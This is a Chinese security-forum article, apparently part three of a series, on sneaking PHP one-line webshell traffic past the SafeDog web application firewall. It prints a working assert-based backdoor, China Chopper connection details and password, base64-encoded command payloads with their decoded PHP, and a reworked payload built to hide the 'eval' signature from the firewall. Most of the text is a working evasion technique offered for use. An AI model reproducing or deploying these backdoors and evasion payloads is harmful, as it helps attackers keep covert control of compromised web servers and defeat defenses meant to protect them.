php一句话后门过狗姿势万千之传输层加工【三】

声明：

本文由博主首发于：阿里先知 https://xianzhi.aliyun.com/forum/read/442.html

如需要转载，请先联系先知技术社区授权；未经授权请勿转载。

先知技术社区投稿邮箱：Aliyun_xianzhi#service.alibaba.com

既然木马已就绪，那么想要利用木马，必然有一个数据传输的过程，数据提交是必须的，数据返回一般也会有的，除非执行特殊命令。

当我们用普通菜刀连接后门时，数据时如何提交的，狗狗又是如何识别的，下面结合一个实例，用通俗易懂的方式来演示数据提交层直接过狗原理。

本文意义：纵使网上有很多修改菜刀过狗的方法，但是我都看了下，局限性比较大，而且不太系统，新人学了可能会只是其一不知其二

环境：

域名与服务器均为个人真实所有。

服务器开启网站安全狗+服务器安全狗，引擎全部开启，最高防护级别。

对比环境：

服务器：apache+php5.3；本地：nginx+php5.3无狗环境作为对比

本地与有狗服务器具有相同的后门代码与链接方式

说明：本文仅分析过狗原理与代码实现，技术层面探讨，菜刀或者其他软件制作与修改本文不予讨论。

后门文件：

$a=array(base64_decode($_REQUEST['a']));

@array_map("assert",$a);

菜刀连接方式：http://localhost/test.php?xx=YXNzZXJ0KCRfUkVRVUVTVFsnc29maWEnXSk= 密码：sofia

该文件特征层面可过狗，上一篇文章已提到，

我们知道，菜刀已存在这么多年，安全狗早已对菜刀的特征门清，我们先来看下菜刀连接的时候特征是什么。

这是我随便连接的一个后门，其实不管后门代码是什么，打开文件管理，菜刀提交的数据都是一样的，如图

代码为：

sofia=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7

命令执行代码，base64_decode结果为以下，获取当前目录与磁盘名

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);echo $D."\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir($L.":"))echo($L.":");};echo("|<-");die();

其中参数名“sofia”就是我们所谓的菜刀密码不需要多解释吧？

那么我们在本地手工提交菜刀的post数据看一下：

本地正常返回当前目录与磁盘名，而服务端未显示，一定是被拦截咯，事实证明确实如此：

那为什么没蹦出拦截框呢？

根据我的经验，一般文件特征层能检测到是后门，才会弹窗，数据层一般不弹，当然，这只是我个人见解，可能不严谨。

其实狗狗对后门的检测文件特征是与数据提交检测机制是完全独立的。

为了验证这一点，我在同目录下建立一个null.php，内容为正常代码：

当不post数据时，正常输出内容，说明文件本身没有问题

把狗狗的post数据发一下试试？

又没有回显了，再去狗狗日志看下：

菜刀特征分析

那么很明显了，菜刀的post数据已经是个大特征了。

相信大家都能看出来这个eval太惹眼了（当然，其他版本或者其他waf检测的可能会是$_POST，或base64_decode）

sofia=@eval(base64_decode($_POST[z0]));

虽然看上去数据提交不怎么注重隐蔽，但是不得不承认菜刀是个伟大发明。

因为php后门五花八门，接受数据的类型与格式各不相同，于是菜刀就在post数据中再次构造一个执行代码，使得php后门接收到的数据全部统一为：“eval(‘执行命令’)”，这样才使得菜刀的易用性才那么强。

具体代码执行与返回请参考上一章节

修改post数据

既然原因清楚了，我们接下来就修改post数据，修改的重点就在于替换eval特征。

思路一：分离“eval”四个字母即可

但是post数据中发挥空间太小，暂时没想到什么好办法。

思路二：修改后门文件，直接执行语句

这里可能就需要用一些其他回调函数，或者其他猥琐姿势，能够直接执行来自post的base64加密后的纯执行语句。

思路三：直接手工构造eval语句

前面说过，post数据最终的结果为：eval(‘执行命令’)”，而且我们的语句对a参数已经decode的了

$a=array(base64_decode($_REQUEST['a']));

那么就直接把整个eval语句base64加密一下即可，

那么我们菜刀原始的利用语句可以这么构造：

eval('@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);echo $D."\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir($L.":"))echo($L.":");};echo("|<-");die();')

然后把这句话base64加密下，得到：

ZXZhbCgnQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7Jyk=

ok，那么这时候我们是直接把这句话传给$a的，那么post数据为：

a=ZXZhbCgnQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7Jyk=

试试？